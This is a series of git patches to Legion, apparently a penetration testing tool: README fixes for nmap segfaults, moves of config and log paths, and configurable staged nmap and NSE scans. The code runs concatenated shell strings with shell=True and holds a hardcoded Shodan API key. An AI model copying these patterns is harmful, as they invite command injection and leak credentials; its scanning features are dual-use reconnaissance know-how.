Scott" Date: Thu, 6 Oct 2022 19:56:54 -0500 Subject: [PATCH 431/450] Update README.md --- README.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/README.md b/README.md index 6f29eff1..860793be 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,27 @@ at [https://GoVanguard.com/legion](https://govanguard.com/legion). If you are interested in contributing to Legion, join our [Legion Keybase Team](https://keybase.io/team/govanguard.dev.legion). +## Fix NMAP 7.92 Sefgaults under Kali +Install NMAP 7.93 using the following: +```sudo apt install snapd -y +sudo systemctl enable --now snapd.apparmor +sudo systemctl start snapd +sudo snap install nmap +sudo mv /usr/bin/nmap /usr/bin/nmap-7.92 +sudo ln -s /snap/bin/nmap /usr/bin/nmap``` + +Then verify the version is 7.93 with: +`nmap -v` + +Update the apparmor profile: +`vi /var/lib/snapd/apparmor/profiles/snap.nmap.nmap` + +Goto line 300, create new line and add in: +```owner @{HOME}/.local/share/legion/tmp/** rw, +/etc/ssl/kali.cnf r,``` + +Reboot + ## 🍿 Features * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and From cea69697a4d3a902f68d10f082c579bf7dc2a937 Mon Sep 17 00:00:00 2001 From: "S. Scott" Date: Thu, 6 Oct 2022 19:58:07 -0500 Subject: [PATCH 432/450] Update README.md --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 860793be..15c85e1f 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,8 @@ sudo systemctl enable --now snapd.apparmor sudo systemctl start snapd sudo snap install nmap sudo mv /usr/bin/nmap /usr/bin/nmap-7.92 -sudo ln -s /snap/bin/nmap /usr/bin/nmap``` +sudo ln -s /snap/bin/nmap /usr/bin/nmap +``` Then verify the version is 7.93 with: `nmap -v` @@ -28,7 +29,8 @@ Update the apparmor profile: Goto line 300, create new line and add in: ```owner @{HOME}/.local/share/legion/tmp/** rw, -/etc/ssl/kali.cnf r,``` +/etc/ssl/kali.cnf r, +``` Reboot From 62627a0f7940571ba212547d840d12c97e455feb Mon Sep 17 00:00:00 2001 From: "S. Scott" Date: Thu, 6 Oct 2022 19:58:57 -0500 Subject: [PATCH 433/450] Update README.md --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 15c85e1f..64800501 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,8 @@ our [Legion Keybase Team](https://keybase.io/team/govanguard.dev.legion). ## Fix NMAP 7.92 Sefgaults under Kali Install NMAP 7.93 using the following: -```sudo apt install snapd -y +```shell +sudo apt install snapd -y sudo systemctl enable --now snapd.apparmor sudo systemctl start snapd sudo snap install nmap @@ -28,7 +29,8 @@ Update the apparmor profile: `vi /var/lib/snapd/apparmor/profiles/snap.nmap.nmap` Goto line 300, create new line and add in: -```owner @{HOME}/.local/share/legion/tmp/** rw, +``` +owner @{HOME}/.local/share/legion/tmp/** rw, /etc/ssl/kali.cnf r, ``` From 9d665bac392425f311e74069987a658f8328b381 Mon Sep 17 00:00:00 2001 From: sscott_gvit Date: Thu, 6 Oct 2022 20:31:22 -0500 Subject: [PATCH 434/450] Update to release 0.3.8 --- CHANGELOG.txt | 11 +- app/ApplicationInfo.py | 8 +- app/Project.py | 2 +- app/ProjectManager.py | 12 +- app/Screenshooter.py | 27 +- app/actions/AbstractObservable.py | 2 +- app/actions/AbstractObserver.py | 2 +- .../AbstractUpdateProgressObservable.py | 2 +- .../AbstractUpdateProgressObserver.py | 2 +- .../UpdateProgressObservable.py | 4 +- app/auxiliary.py | 6 +- app/http/isHttps.py | 2 +- app/importers/NmapImporter.py | 8 +- app/importers/PythonImporter.py | 2 +- app/logging/legionLog.py | 17 +- app/logic.py | 2 +- app/settings.py | 22 +- app/timing.py | 2 +- app/tools/ToolCoordinator.py | 2 +- app/tools/nmap/DefaultNmapExporter.py | 4 +- app/tools/nmap/NmapExporter.py | 2 +- app/tools/nmap/NmapHelpers.py | 2 +- app/tools/nmap/NmapPaths.py | 2 +- controller/controller.py | 71 ++-- db/RepositoryContainer.py | 2 +- db/RepositoryFactory.py | 2 +- db/database.py | 2 +- db/entities/app.py | 2 +- db/entities/cve.py | 2 +- db/entities/host.py | 2 +- db/entities/l1script.py | 2 +- db/entities/nmapSession.py | 2 +- db/entities/note.py | 2 +- db/entities/os.py | 2 +- db/entities/port.py | 2 +- db/entities/process.py | 2 +- db/entities/processOutput.py | 2 +- db/entities/service.py | 2 +- db/filters.py | 2 +- db/repositories/CVERepository.py | 2 +- db/repositories/HostRepository.py | 2 +- db/repositories/NoteRepository.py | 2 +- db/repositories/PortRepository.py | 2 +- db/repositories/ProcessRepository.py | 2 +- db/repositories/ScriptRepository.py | 2 +- db/repositories/ServiceRepository.py | 2 +- db/validation.py | 2 +- legion-dev.conf | 326 ------------------ legion.conf | 14 +- legion.conf.orig | 317 ----------------- legion.py | 43 ++- parsers/examples/HostExample.py | 2 +- parsers/examples/OsExample.py | 2 +- parsers/examples/ParserExample.py | 2 +- parsers/examples/ScriptExample.py | 2 +- parsers/examples/ServiceExample.py | 2 +- parsers/examples/SessionExample.py | 2 +- precommit.sh | 2 + primeExploitDb.py | 13 + scripts/exec-in-shell | 5 + scripts/x11screenshot.sh | 4 +- ui/ViewHeaders.py | 2 +- ui/ViewState.py | 2 +- ui/addHostDialog.py | 19 +- ui/ancillaryDialog.py | 4 +- ui/configDialog.py | 6 +- ui/dialogs.py | 2 +- ui/eventfilter.py | 2 +- ui/gui.py | 2 +- ui/helpDialog.py | 2 +- ui/models/cvemodels.py | 4 +- ui/models/hostmodels.py | 4 +- ui/models/processmodels.py | 4 +- ui/models/scriptmodels.py | 4 +- ui/models/servicemodels.py | 4 +- ui/observers/QtUpdateProgressObserver.py | 2 +- ui/settingsDialog.py | 2 +- ui/view.py | 4 +- utilities/stenoLogging.py | 6 +- 79 files changed, 261 insertions(+), 812 deletions(-) delete mode 100644 legion-dev.conf delete mode 100644 legion.conf.orig create mode 100755 primeExploitDb.py create mode 100755 scripts/exec-in-shell diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 4c689c71..be2f294e 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,7 +1,14 @@ LEGION 0.3.8 -* Bug fixes -* Preperation to move to postgresql backend +* Start time message box ensuring run as root +* Start time message box to help users resolve NMAP v7.92 segfaults +* Bug fixes for edge cases +* Screenshot tool revisions +* Default config revisions +* Open maximized +* Don't open with top of window off screen +* Stage module revisions (nothing hard coded anymore, adds option to specify any NSE script for any stage) +* Ensure pyExploiutDb is updated at all times LEGION 0.3.7 diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 0719ce89..ac7f7992 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.3.8", - "build": '1622657874', + "build": '1665098899', "author": "GoVanguard", - "copyright": "2021", + "copyright": "2022", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": '06/02/2021', + "update": '10/06/2022', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/Project.py b/app/Project.py index 587c7a68..59034bc9 100644 --- a/app/Project.py +++ b/app/Project.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/ProjectManager.py b/app/ProjectManager.py index 6c01d840..95bc3af4 100644 --- a/app/ProjectManager.py +++ b/app/ProjectManager.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -28,6 +28,8 @@ from db.RepositoryFactory import RepositoryFactory from db.SqliteDbAdapter import Database +local_temp_dir = os.path.expanduser("~/.local/share/legion/tmp/") + class ProjectManager: def __init__(self, shell: Shell, repositoryFactory: RepositoryFactory, logger): @@ -41,10 +43,10 @@ def createNewProject(self, projectType: str, isTemp: bool) -> Project: # to store tool output of finished processes outputFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-tool-output", - directory="./tmp/") + directory=local_temp_dir) # to store tool output of running processes - runningFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-running", directory="./tmp/") + runningFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-running", directory=local_temp_dir) self.shell.create_directory_recursively(f"{outputFolder}/screenshots") # to store screenshots self.shell.create_directory_recursively(getNmapRunningFolder(runningFolder)) # to store nmap output @@ -67,7 +69,7 @@ def openExistingProject(self, projectName: str, projectType: str = "legion") -> workingDirectory = f"{ntpath.dirname(projectName)}/" outputFolder, _ = self.__determineOutputFolder(projectName, projectType) runningFolder = self.shell.create_temporary_directory(suffix="-running", prefix=projectType + '-', - directory="./tmp/") + directory=local_temp_dir) (usernameWordList, passwordWordList) = self.__createUsernameAndPasswordWordLists(outputFolder) projectProperties = ProjectProperties( projectName=projectName, workingDirectory=workingDirectory, projectType=projectType, isTemporary=False, @@ -122,7 +124,7 @@ def __createDatabase(self, projectName: str = None) -> Database: if projectName: return Database(projectName) - databaseFile = self.shell.create_named_temporary_file(suffix=".legion", prefix="legion-", directory="./tmp/", + databaseFile = self.shell.create_named_temporary_file(suffix=".legion", prefix="legion-", directory=local_temp_dir, delete_on_close=False) # to store the db file return Database(databaseFile.name) diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 46a64039..d0c6865b 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -27,15 +27,15 @@ class Screenshooter(QtCore.QThread): def __init__(self, timeout): QtCore.QThread.__init__(self, parent=None) - self.urls = [] + self.queue = [] self.processing = False self.timeout = timeout # screenshooter timeout (ms) def tsLog(self, msg): self.log.emit(str(msg)) - def addToQueue(self, url): - self.urls.append(url) + def addToQueue(self, ip, port, url): + self.queue.append([ip, port, url]) # this function should be called when the project is saved/saved as as the tool-output folder changes def updateOutputFolder(self, screenshotsFolder): @@ -48,12 +48,16 @@ def run(self): self.processing = True - for i in range(0, len(self.urls)): + for i in range(0, len(self.queue)): try: - url = self.urls.pop(0) + queueItem = self.queue.pop(0) + ip = queueItem[0] + port = queueItem[1] + url = queueItem[2] + self.tsLog("------> %s" % str(url)) outputfile = getTimestamp() + '-screenshot-' + url.replace(':', '-') + '.png' - ip = url.split(':')[0] - port = url.split(':')[1] + #ip = url.split(':')[0] + #port = url.split(':')[1] if isHttps(ip, port): self.save("https://" + url, ip, port, outputfile) @@ -67,16 +71,15 @@ def run(self): self.processing = False - if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over unless we are in pause mode + if not len(self.queue) == 0: # if meanwhile queue were added to the queue, start over unless we are in pause mode self.run() self.tsLog('Finished.') def save(self, url, ip, port, outputfile): self.tsLog('Saving screenshot as: ' + str(outputfile)) - # Added --insecure flag to ignore SSL/TLS errors - command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --insecure --url="{url}/"' - ' --max-wait=5000 --out="{outputfolder}/{outputfile}"') \ + command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' + ' --insecure --print-backgrounds=on --out="{outputfolder}/{outputfile}"') \ .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) p = subprocess.Popen(command, shell=True) p.wait() # wait for command to finish diff --git a/app/actions/AbstractObservable.py b/app/actions/AbstractObservable.py index 066bf64c..32bd40bb 100644 --- a/app/actions/AbstractObservable.py +++ b/app/actions/AbstractObservable.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/AbstractObserver.py b/app/actions/AbstractObserver.py index 0039514e..df772ac7 100644 --- a/app/actions/AbstractObserver.py +++ b/app/actions/AbstractObserver.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/AbstractUpdateProgressObservable.py b/app/actions/updateProgress/AbstractUpdateProgressObservable.py index a29ac119..d79bb3cd 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObservable.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObservable.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/AbstractUpdateProgressObserver.py b/app/actions/updateProgress/AbstractUpdateProgressObserver.py index 71620b86..1329da0b 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObserver.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/UpdateProgressObservable.py b/app/actions/updateProgress/UpdateProgressObservable.py index dfebbc99..aab011b9 100644 --- a/app/actions/updateProgress/UpdateProgressObservable.py +++ b/app/actions/updateProgress/UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -28,7 +28,5 @@ def start(self): observer.onStart() def updateProgress(self, progress): - progress = int(progress) - for observer in self._observers: observer.onProgressUpdate(progress) diff --git a/app/auxiliary.py b/app/auxiliary.py index f1945631..60e3d548 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -54,11 +54,11 @@ def IP2Int(ip): # used by the settings dialog when a user cancels and the GUI needs to be reset def clearLayout(layout): - if layout is not None: + if layout != None: while layout.count(): item = layout.takeAt(0) widget = item.widget() - if widget is not None: + if widget != None: widget.deleteLater() else: clearLayout(item.layout()) diff --git a/app/http/isHttps.py b/app/http/isHttps.py index 62d232df..0423ec5f 100644 --- a/app/http/isHttps.py +++ b/app/http/isHttps.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 8538e584..c9723974 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -114,7 +114,7 @@ def run(self): createProgress = createProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createProgress - self.updateProgressObservable.updateProgress(totalprogress) + self.updateProgressObservable.updateProgress(int(totalprogress)) session.commit() @@ -142,7 +142,7 @@ def run(self): createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createOsNodesProgress - self.updateProgressObservable.updateProgress(totalprogress) + self.updateProgressObservable.updateProgress(int(totalprogress)) session.commit() @@ -315,7 +315,7 @@ def run(self): db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId) \ .filter_by(portId=db_port.id).first() - if not scr.output == '' and scr.output is not None: + if not scr.output == '' and scr.output != None: db_script.output = scr.output session.add(db_script) diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index a514a03d..4050bdb9 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index eed8a1d2..7c8ba304 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -15,6 +15,7 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ +import os import logging from logging import Logger @@ -22,24 +23,32 @@ cachedStartupLogger = None cachedDbLogger = None +cache_path = os.path.expanduser("~/.cache/legion/log") +log_path = os.path.join(cache_path, 'legion.log') +if not os.path.isfile(log_path): + if not os.path.isdir(cache_path): + os.makedirs(cache_path) def getStartupLogger() -> Logger: global cachedStartupLogger - logger = getOrCreateCachedLogger("legion-startup", "./log/legion-startup.log", True, cachedStartupLogger) + logger = getOrCreateCachedLogger("legion-startup", + os.path.expanduser("~/.cache/legion/log/legion-startup.log"), True, cachedStartupLogger) cachedStartupLogger = logger return logger def getAppLogger() -> Logger: global cachedAppLogger - logger = getOrCreateCachedLogger("legion", "./log/legion.log", True, cachedAppLogger) + logger = getOrCreateCachedLogger("legion", + os.path.expanduser("~/.cache/legion/log/legion.log"), True, cachedAppLogger) cachedAppLogger = logger return logger def getDbLogger() -> Logger: global cachedDbLogger - logger = getOrCreateCachedLogger("legion-db", "./log/legion-db.log", False, cachedDbLogger) + logger = getOrCreateCachedLogger("legion-db", + os.path.expanduser("~/.cache/legion/log/legion-db.log"), False, cachedDbLogger) cachedDbLogger = logger return logger diff --git a/app/logic.py b/app/logic.py index 98f8ce73..50e12852 100644 --- a/app/logic.py +++ b/app/logic.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/settings.py b/app/settings.py index 01dacaed..9d051f73 100644 --- a/app/settings.py +++ b/app/settings.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -17,6 +17,8 @@ """ +import shutil + from app.auxiliary import * # for timestamp @@ -28,12 +30,12 @@ class AppSettings(): def __init__(self): # check if settings file exists and creates it if it doesn't - if not os.path.exists('./legion.conf'): - log.info('Legion config is missing. Please reclone.') - os.exit(1) - else: - log.info('Loading settings file..') - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + if not os.path.exists(os.path.expanduser('~/.local/share/legion/legion.conf')): + if not os.path.isdir(os.path.expanduser("~/.local/share/legion")): + os.makedirs(os.path.expanduser("~/.local/share/legion")) + shutil.copy('./legion.conf', os.path.expanduser('~/.local/share/legion/legion.conf')) + log.info('Loading settings file..') + self.actions = QtCore.QSettings(os.path.expanduser('~/.local/share/legion/legion.conf'), QtCore.QSettings.NativeFormat) def getGeneralSettings(self): return self.getSettingsByGroup("GeneralSettings") @@ -111,11 +113,11 @@ def backupAndSave(self, newSettings, saveBackup=True): # Backup and save if saveBackup: log.info('Backing up old settings and saving new settings...') - os.rename('./legion.conf', './backup/' + getTimestamp() + '-legion.conf') + os.rename(os.path.expanduser('~/.local/share/legion/legion.conf'), os.path.expanduser("~/.local/share/legion/backup/") + getTimestamp() + '-legion.conf') else: log.info('Saving config...') - self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + self.actions = QtCore.QSettings(os.path.expanduser('~/.local/share/legion/legion.conf'), QtCore.QSettings.NativeFormat) self.actions.beginGroup('GeneralSettings') self.actions.setValue('default-terminal', newSettings.general_default_terminal) @@ -226,7 +228,7 @@ def __init__(self, appSettings=None): self.tools_path_nmap = "/sbin/nmap" self.tools_path_hydra = "/usr/bin/hydra" self.tools_path_cutycapt = "/usr/bin/cutycapt" - self.tools_path_texteditor = "/usr/bin/leafpad" + self.tools_path_texteditor = "/usr/bin/xdg-open" self.tools_pyshodan_api_key = "SNYEkE0gdwNu9BRURVDjWPXePCquXqht" # GUI settings diff --git a/app/timing.py b/app/timing.py index 6613dd0e..be648bb4 100644 --- a/app/timing.py +++ b/app/timing.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/ToolCoordinator.py b/app/tools/ToolCoordinator.py index 7146005d..d5f90b59 100644 --- a/app/tools/ToolCoordinator.py +++ b/app/tools/ToolCoordinator.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/DefaultNmapExporter.py b/app/tools/nmap/DefaultNmapExporter.py index 16b1a425..96628e2b 100644 --- a/app/tools/nmap/DefaultNmapExporter.py +++ b/app/tools/nmap/DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -32,7 +32,7 @@ def __init__(self, shell: Shell, logger: Logger): @timing def exportOutputToHtml(self, fileName: str, outputFolder: str) -> None: try: - command = f"xsltproc -o {fileName}.html nmap.xsl {fileName}.xml" + command = f"xsltproc -o {fileName}.html /usr/share/nmap/nmap.xsl {fileName}.xml" p = subprocess.Popen(command, shell=True) p.wait() self.shell.move(f"{fileName}.html", outputFolder) diff --git a/app/tools/nmap/NmapExporter.py b/app/tools/nmap/NmapExporter.py index 2604bdcb..f898481a 100644 --- a/app/tools/nmap/NmapExporter.py +++ b/app/tools/nmap/NmapExporter.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/NmapHelpers.py b/app/tools/nmap/NmapHelpers.py index 86bb7173..d8d591c5 100644 --- a/app/tools/nmap/NmapHelpers.py +++ b/app/tools/nmap/NmapHelpers.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/NmapPaths.py b/app/tools/nmap/NmapPaths.py index 40ed457e..b38e8190 100644 --- a/app/tools/nmap/NmapPaths.py +++ b/app/tools/nmap/NmapPaths.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/controller/controller.py b/controller/controller.py index 88cc1249..185eddc3 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -252,7 +252,8 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan elif scanMode == 'Hard': outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmap-custom' nmapOptionsString = ' '.join(nmapOptions) - nmapOptionsString = nmapOptionsString + " -T" + str(nmapSpeed) + if 'randomize' not in nmapOptionsString: + nmapOptionsString = nmapOptionsString + " -T" + str(nmapSpeed) command = "nmap " + nmapOptionsString + " " + targetHosts + " -oA " + outputfile self.runCommand('nmap', 'nmap (custom ' + nmapOptionsString + ')', targetHosts, '', '', command, getTimestamp(True), outputfile, @@ -483,7 +484,7 @@ def handlePortAction(self, targets, *args): command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]) if "[term]" in command: command = command.replace("[term]", "") - subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True) + subprocess.Popen(terminal + " -e './scripts/exec-in-shell " + command + "'", shell=True) else: subprocess.Popen("bash -c \"" + command + "; exec bash\"", shell=True) return @@ -742,33 +743,40 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage ' + str(stage) + ')', True) outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmapstage' + str(stage) - if stage == 1: # webservers/proxies - ports = self.settings.tools_nmap_stage1_ports - elif stage == 2: # juicy stuff that we could enumerate + db - ports = self.settings.tools_nmap_stage2_ports - elif stage == 4: # bruteforceable protocols + portmapper + nfs - ports = self.settings.tools_nmap_stage4_ports - elif stage == 5: # first 30000 ports except ones above - ports = self.settings.tools_nmap_stage5_ports - else: # last 35535 ports - ports = self.settings.tools_nmap_stage6_ports + if stage == 1: + stageData = self.settings.tools_nmap_stage1_ports + elif stage == 2: + stageData = self.settings.tools_nmap_stage2_ports + elif stage == 3: + stageData = self.settings.tools_nmap_stage3_ports + elif stage == 4: + stageData = self.settings.tools_nmap_stage4_ports + elif stage == 5: + stageData = self.settings.tools_nmap_stage5_ports + elif stage == 6: + stageData = self.settings.tools_nmap_stage6_ports + stageDataSplit = str(stageData).split('|') + stageOp = stageDataSplit[0] + stageOpValues = stageDataSplit[1] + command = "nmap " if not discovery: # is it with/without host discovery? command += "-Pn " command += "-T4 -sV " - if not stage == 1 and not stage == 3: - command += "-n " # only do DNS resolution on first stage - if os.geteuid() == 0: # if we are root we can run SYN + UDP scans - command += "-sSU " - if stage == 2: - command += '-O ' # only check for OS once to save time and only if we are root otherwise it fail - else: - command += '-sT ' - if stage != 3: - command += '-p ' + ports + ' ' + targetHosts + ' -oA ' + outputfile - else: - command = 'nmap -sV --script=./scripts/nmap/vulners.nse -vvvv ' + targetHosts + ' -oA ' + outputfile + #if not stage == 1 and not stage == 3: + # command += "-n " # only do DNS resolution on first stage + #if os.geteuid() == 0: # if we are root we can run SYN + UDP scans + # command += "-sSU " + # if stage == 2: + # command += '-O ' # only check for OS once to save time and only if we are root otherwise it fail + #else: + # command += '-sT ' + + if stageOp == 'PORTS': + command += '-p ' + stageOpValues + ' ' + targetHosts + ' -oA ' + outputfile + elif stageOp == 'NSE': + command = 'nmap -sV --script=' + stageOpValues + ' -vvvv ' + targetHosts + ' -oA ' + outputfile self.runCommand('nmap', 'nmap (stage ' + str(stage) + ')', str(targetHosts), '', '', command, getTimestamp(True), outputfile, textbox, discovery=discovery, stage=stage, stop=stop) @@ -781,6 +789,7 @@ def importFinished(self): self.view.displayAddHostsOverlay(False) def screenshotFinished(self, ip, port, filename): + log.info("---------------Screenshoot done. Args %s, %s, %s" % (str(ip), str(port), str(filename))) outputFolder = self.logic.activeProject.properties.outputFolder dbId = self.logic.activeProject.repositoryContainer.processRepository.storeScreenshot(str(ip), str(port), str(filename)) @@ -875,12 +884,12 @@ def scheduler(self, parser, isNmapImport): if p.state == 'open': s = p.getService() if not (s is None): - self.runToolsFor(s.name, h.ip, p.portId, p.protocol) + self.runToolsFor(s.name, h.hostname, h.ip, p.portId, p.protocol) log.info('-----------------------------------------------') log.info('Scheduler ended!') - def runToolsFor(self, service, ip, port, protocol='tcp'): + def runToolsFor(self, service, hostname, ip, port, protocol='tcp'): log.info('Running tools for: ' + service + ' on ' + ip + ':' + port) if service.endswith("?"): # when nmap is not sure it will append a ?, so we need to 